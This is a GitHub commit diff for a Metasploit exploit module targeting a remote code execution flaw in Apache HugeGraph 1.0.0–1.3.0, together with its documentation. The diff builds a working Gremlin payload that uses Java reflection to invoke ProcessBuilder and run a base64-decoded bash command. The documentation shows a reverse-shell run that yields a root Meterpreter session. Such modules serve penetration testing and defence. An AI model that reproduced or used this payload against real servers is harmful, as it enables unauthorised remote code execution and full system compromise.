Skip to content

Commit 75c737d

Browse files
committed
Responded to comments
1 parent d7ae1b5 commit 75c737d

File tree

2 files changed

+21
-12
lines changed

2 files changed

+21
-12
lines changed

documentation/modules/exploit/linux/http/apache_hugegraph_gremlin_rce.md

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -12,7 +12,7 @@ docker run -itd --name=graph -p 8080:8080 hugegraph/hugegraph:1.0.0
1212
## Verification Steps
1313

1414
1. Start msfconsole
15-
1. Do: `use exploit/multi/http/apache_hugegraph_gremlin_rce`
15+
1. Do: `use exploit/linux/http/apache_hugegraph_gremlin_rce`
1616
1. Set the `RHOST` and `LHOST` options
1717
1. Run the module
1818
1. Receive a Meterpreter session as the `root` user.
@@ -21,11 +21,11 @@ docker run -itd --name=graph -p 8080:8080 hugegraph/hugegraph:1.0.0
2121
### Apache HugeGraph 1.0.0 docker instance
2222
```
2323
24-
msf6 exploit(multi/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1
24+
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set rhost 127.0.0.1
2525
rhost => 127.0.0.1
26-
msf6 exploit(multi/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1
26+
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > set lhost 172.16.199.1
2727
lhost => 172.16.199.1
28-
msf6 exploit(multi/http/apache_hugegraph_gremlin_rce) > run
28+
msf6 exploit(linux/http/apache_hugegraph_gremlin_rce) > run
2929
3030
[*] Started reverse TCP handler on 172.16.199.1:4444
3131
[*] Running automatic check ("set AutoCheck false" to disable)

modules/exploits/linux/http/apache_hugegraph_gremlin_rce.rb

Lines changed: 17 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -61,18 +61,14 @@ def check
6161
return CheckCode::Unknown('Unable able to determine the version of Apache HugeGraph') unless version
6262

6363
if Rex::Version.new(version).between?(Rex::Version.new('1.0.0'), Rex::Version.new('1.3.0'))
64-
CheckCode::Appears("Apache HugeGraph version detected: #{version}")
65-
else
66-
CheckCode::Safe("Apache HugeGraph version detected: #{version}")
64+
return CheckCode::Appears("Apache HugeGraph version detected: #{version}")
6765
end
66+
CheckCode::Safe("Apache HugeGraph version detected: #{version}")
6867
end
6968

7069
def exploit
7170
print_status("#{peer} - Running exploit with payload: #{datastore['PAYLOAD']}")
7271

73-
cmd = "bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash"
74-
commands_array = cmd.strip.split(' ')
75-
7672
class_name = rand_text_alpha(4..12)
7773
thread_name = rand_text_alpha(4..12)
7874
command_name = rand_text_alpha(4..12)
@@ -81,9 +77,22 @@ def exploit
8177
constructor_name = rand_text_alpha(4..12)
8278
field_name = rand_text_alpha(4..12)
8379

84-
formatted_command = commands_array.map { |element| "\"#{element}\"" }.join(', ')
80+
java_payload = <<~PAYLOAD
81+
Thread #{thread_name} = Thread.currentThread();
82+
Class #{class_name} = Class.forName(\"java.lang.Thread\");
83+
java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");
84+
#{field_name}.setAccessible(true);
85+
#{field_name}.set(#{thread_name}, \"#{thread_name}\");
86+
Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");
87+
java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);
88+
java.util.List #{command_name} = java.util.Arrays.asList(#{"bash -c {echo,#{Rex::Text.encode_base64(payload.encoded)}}|{base64,-d}|bash".strip.split(' ').map { |element| "\"#{element}\"" }.join(', ')});
89+
Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});
90+
java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");
91+
#{start_method_name}.invoke(#{process_builder_name});
92+
PAYLOAD
93+
8594
data = {
86-
'gremlin' => "Thread #{thread_name} = Thread.currentThread();Class #{class_name} = Class.forName(\"java.lang.Thread\");java.lang.reflect.Field #{field_name} = #{class_name}.getDeclaredField(\"name\");#{field_name}.setAccessible(true);#{field_name}.set(#{thread_name}, \"#{thread_name}\");Class processBuilderClass = Class.forName(\"java.lang.ProcessBuilder\");java.lang.reflect.Constructor #{constructor_name} = processBuilderClass.getConstructor(java.util.List.class);java.util.List #{command_name} = java.util.Arrays.asList(#{formatted_command});Object #{process_builder_name} = #{constructor_name}.newInstance(#{command_name});java.lang.reflect.Method #{start_method_name} = processBuilderClass.getMethod(\"start\");#{start_method_name}.invoke(#{process_builder_name});",
95+
'gremlin' => java_payload,
8796
'bindings' => {},
8897
'language' => 'gremlin-groovy',
8998
'aliases' => {}

0 commit comments

Comments
 (0)